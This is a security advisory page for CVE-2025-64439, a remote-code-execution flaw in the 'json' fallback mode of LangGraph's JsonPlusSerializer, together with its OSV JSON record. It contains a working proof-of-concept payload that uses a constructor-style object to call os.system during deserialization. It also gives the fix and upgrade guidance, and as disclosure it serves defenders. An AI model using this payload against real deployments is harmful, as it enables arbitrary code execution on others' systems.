ghsa-wwqv-p2pp-99h5
Vulnerability from github
Published
2025-11-05 19:52
Modified
2025-11-07 21:55
Summary
LangGraph Checkpoint affected by RCE in "json" mode of JsonPlusSerializer
Details

Summary

Prior to langgraph-checkpoint version 3.0 , LangGraph’s JsonPlusSerializer (used as the default serialization protocol for all checkpointing) contains a remote code execution (RCE) vulnerability when deserializing payloads saved in the "json" serialization mode.

If an attacker can cause your application to persist a payload serialized in this mode, they may be able to also send malicious content that executes arbitrary Python code during deserialization.

Upgrading to version langgraph-checkpoint 3.0 patches this vulnerability by preventing deserialization of custom objects saved in this mode.

If you are deploying in langgraph-api, any version 0.5 or later is also free of this vulnerability.

Details

Affected file / component

jsonplus.py

By default, the serializer attempts to use "msgpack" for serialization. However, prior to version 3.0 of the checkpointer library, if illegal Unicode surrogate values caused serialization to fail, it would fall back to using the "json" mode.

When operating in this mode, the deserializer supports a constructor-style format (lc == 2, type == "constructor") for custom objects to allow them to be reconstructed at load time. If an attacker is able to trigger this mode with a malicious payload, deserializing allow the attacker to execute arbitrary functions upon load.


Who is affected

This issue affects all users of langgraph-checkpoint versions earlier than 3.0 who:

  1. Allow untrusted or user-supplied data to be persisted into checkpoints, and
  2. Use the default serializer (or explicitly instantiate JsonPlusSerializer) that may fall back to "json" mode.

If your application only processes trusted data or does not allow untrusted checkpoint writes, the practical risk is reduced.

Proof of Concept (PoC)

```python from langgraph.graph import StateGraph from typing import TypedDict from langgraph.checkpoint.sqlite import SqliteSaver

class State(TypedDict): foo: str attack: dict

def my_node(state: State): return {"foo": "oops i fetched a surrogate \ud800"}

with SqliteSaver.from_conn_string("foo.db") as saver: graph = ( StateGraph(State). add_node("my_node", my_node). add_edge("start", "my_node"). compile(checkpointer=saver) )

attack = {
    "lc": 2,
    "type": "constructor",
    "id": ["os", "system"],
    "kwargs": {"command": "echo pwnd you > /tmp/pwnd.txt"},
}
malicious_payload = {
     "attack": attack,
}

thread_id = "00000000-0000-0000-0000-000000000001"
config = {"thread_id": thread_id}
# Malicious payload is saved in the first call
graph.invoke(malicious_payload, config=config)

# Malicious payload is deserialized and code is executed in the second call
graph.invoke({"foo": "hi there"}, config=config)

```

Running this PoC writes a file /tmp/pwnd.txt to disk, demonstrating code execution.

Internally, this exploits the following code path:

```python from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer

serializer = JsonPlusSerializer() # Used within the checkpointer

serialized = serializer.dumps_typed(malicious_payload) serializer.loads_typed(serialized) # Executes os.system(...)

```


Fixed Version

The vulnerability is fixed in langgraph-checkpoint==3.0.0

Release link: https://github.com/langchain-ai/langgraph/releases/tag/checkpoint%3D%3D3.0.0


Fix Description

The fix introduces an allow-list for constructor deserialization, restricting permissible "id" paths to explicitly approved module/class combinations provided at serializer construction.

Additionally, saving payloads in "json" format has been deprecated to remove this unsafe fallback path.


Mitigation

Upgrade immediately to langgraph-checkpoint==3.0.0.

This version is fully compatible with langgraph>=0.3 and does not require any import changes or code modifications.

In langgraph-api, updating to 0.5 or later will automatically require the patched version of the checkpointer library.

Show details on source website


{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "langgraph-checkpoint"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-64439"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-11-05T19:52:50Z",
    "nvd_published_at": "2025-11-07T21:15:41Z",
    "severity": "HIGH"
  },
  "details": "# Summary\n\nPrior to `langgraph-checkpoint` version `3.0` , LangGraph\u2019s `JsonPlusSerializer` (used as the default serialization protocol for all checkpointing) contains a remote code execution (RCE) vulnerability when deserializing payloads saved in the `\"json\"` serialization mode.\n\nIf an attacker can cause your application to persist a payload serialized in this mode, they may be able to also send malicious content that executes arbitrary Python code during deserialization.\n\nUpgrading to version langgraph-checkpoint `3.0` patches this vulnerability by preventing deserialization of custom objects saved in this mode.\n\nIf you are deploying in `langgraph-api`, any version `0.5` or later is also free of this vulnerability. \n\n# Details\n\n**Affected file / component**\n\n[jsonplus.py](https://github.com/langchain-ai/langgraph/blob/c5744f583b11745cd406f3059903e17bbcdcc8ac/libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py)\n\nBy default, the serializer attempts to use `\"msgpack\"` for serialization. However, prior to version `3.0` of the checkpointer library, if illegal Unicode surrogate values caused serialization to fail,  it would fall back to using the `\"json\"` mode.\n\nWhen operating in this mode, the deserializer supports a constructor-style format (`lc == 2`, `type == \"constructor\"`) for custom objects to allow them to be reconstructed at load time.  If an attacker is able to trigger this mode with a malicious payload, deserializing  allow the attacker to execute arbitrary functions upon load.\n\n---\n\n# Who is affected\n\nThis issue affects all users of `langgraph-checkpoint` **versions earlier than 3.0** who:\n\n1. Allow untrusted or user-supplied data to be persisted into checkpoints, and\n2. Use the default serializer (or explicitly instantiate `JsonPlusSerializer`) that may fall back to `\"json\"` mode.\n\nIf your application only processes trusted data or does not allow untrusted checkpoint writes, the practical risk is reduced.\n\n# Proof of Concept (PoC)\n\n```python\nfrom langgraph.graph import StateGraph \nfrom typing import TypedDict\nfrom langgraph.checkpoint.sqlite import SqliteSaver\n\nclass State(TypedDict):\n    foo: str\n    attack: dict\n\ndef my_node(state: State):\n    return {\"foo\": \"oops i fetched a surrogate \\ud800\"}\n\nwith SqliteSaver.from_conn_string(\"foo.db\") as saver:\n    graph = (\n\t    StateGraph(State).\n\t    add_node(\"my_node\", my_node).\n\t    add_edge(\"__start__\", \"my_node\").\n\t    compile(checkpointer=saver)\n\t )\n    \n\n    attack = {\n        \"lc\": 2,\n        \"type\": \"constructor\",\n        \"id\": [\"os\", \"system\"],\n        \"kwargs\": {\"command\": \"echo pwnd you \u003e /tmp/pwnd.txt\"},\n    }\n    malicious_payload = {\n         \"attack\": attack,\n    }\n\n    thread_id = \"00000000-0000-0000-0000-000000000001\"\n    config = {\"thread_id\": thread_id}\n    # Malicious payload is saved in the first call\n    graph.invoke(malicious_payload, config=config)\n\n    # Malicious payload is deserialized and code is executed in the second call\n    graph.invoke({\"foo\": \"hi there\"}, config=config)\n\n```\n\nRunning this PoC writes a file `/tmp/pwnd.txt` to disk, demonstrating code execution.\n\nInternally, this exploits the following code path:\n\n```python\nfrom langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer\n\nserializer = JsonPlusSerializer() # Used within the checkpointer\n\nserialized = serializer.dumps_typed(malicious_payload)\nserializer.loads_typed(serialized)  # Executes os.system(...)\n\n```\n\n---\n\n# Fixed Version\n\nThe vulnerability is fixed in **`langgraph-checkpoint==3.0.0`**\n\nRelease link: https://github.com/langchain-ai/langgraph/releases/tag/checkpoint%3D%3D3.0.0\n\n---\n\n# Fix Description\n\nThe fix introduces an **allow-list** for constructor deserialization, restricting permissible `\"id\"` paths to explicitly approved module/class combinations provided at serializer construction.\n\nAdditionally, saving payloads in `\"json\"` format has been deprecated to remove this unsafe fallback path.\n\n---\n\n# Mitigation\n\nUpgrade immediately to `langgraph-checkpoint==3.0.0`.\n\nThis version is fully compatible with `langgraph\u003e=0.3` and does **not** require any import changes or code modifications.\n\nIn `langgraph-api`, updating to `0.5` or later will automatically require the patched version of the checkpointer library.",
  "id": "GHSA-wwqv-p2pp-99h5",
  "modified": "2025-11-07T21:55:55Z",
  "published": "2025-11-05T19:52:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/langchain-ai/langgraph/security/advisories/GHSA-wwqv-p2pp-99h5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64439"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langchain-ai/langgraph/commit/c5744f583b11745cd406f3059903e17bbcdcc8ac"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/langchain-ai/langgraph"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langchain-ai/langgraph/blob/c5744f583b11745cd406f3059903e17bbcdcc8ac/libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langchain-ai/langgraph/releases/tag/checkpoint%3D%3D3.0.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "LangGraph Checkpoint affected by RCE in \"json\" mode of JsonPlusSerializer "
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.


Loading…

Loading…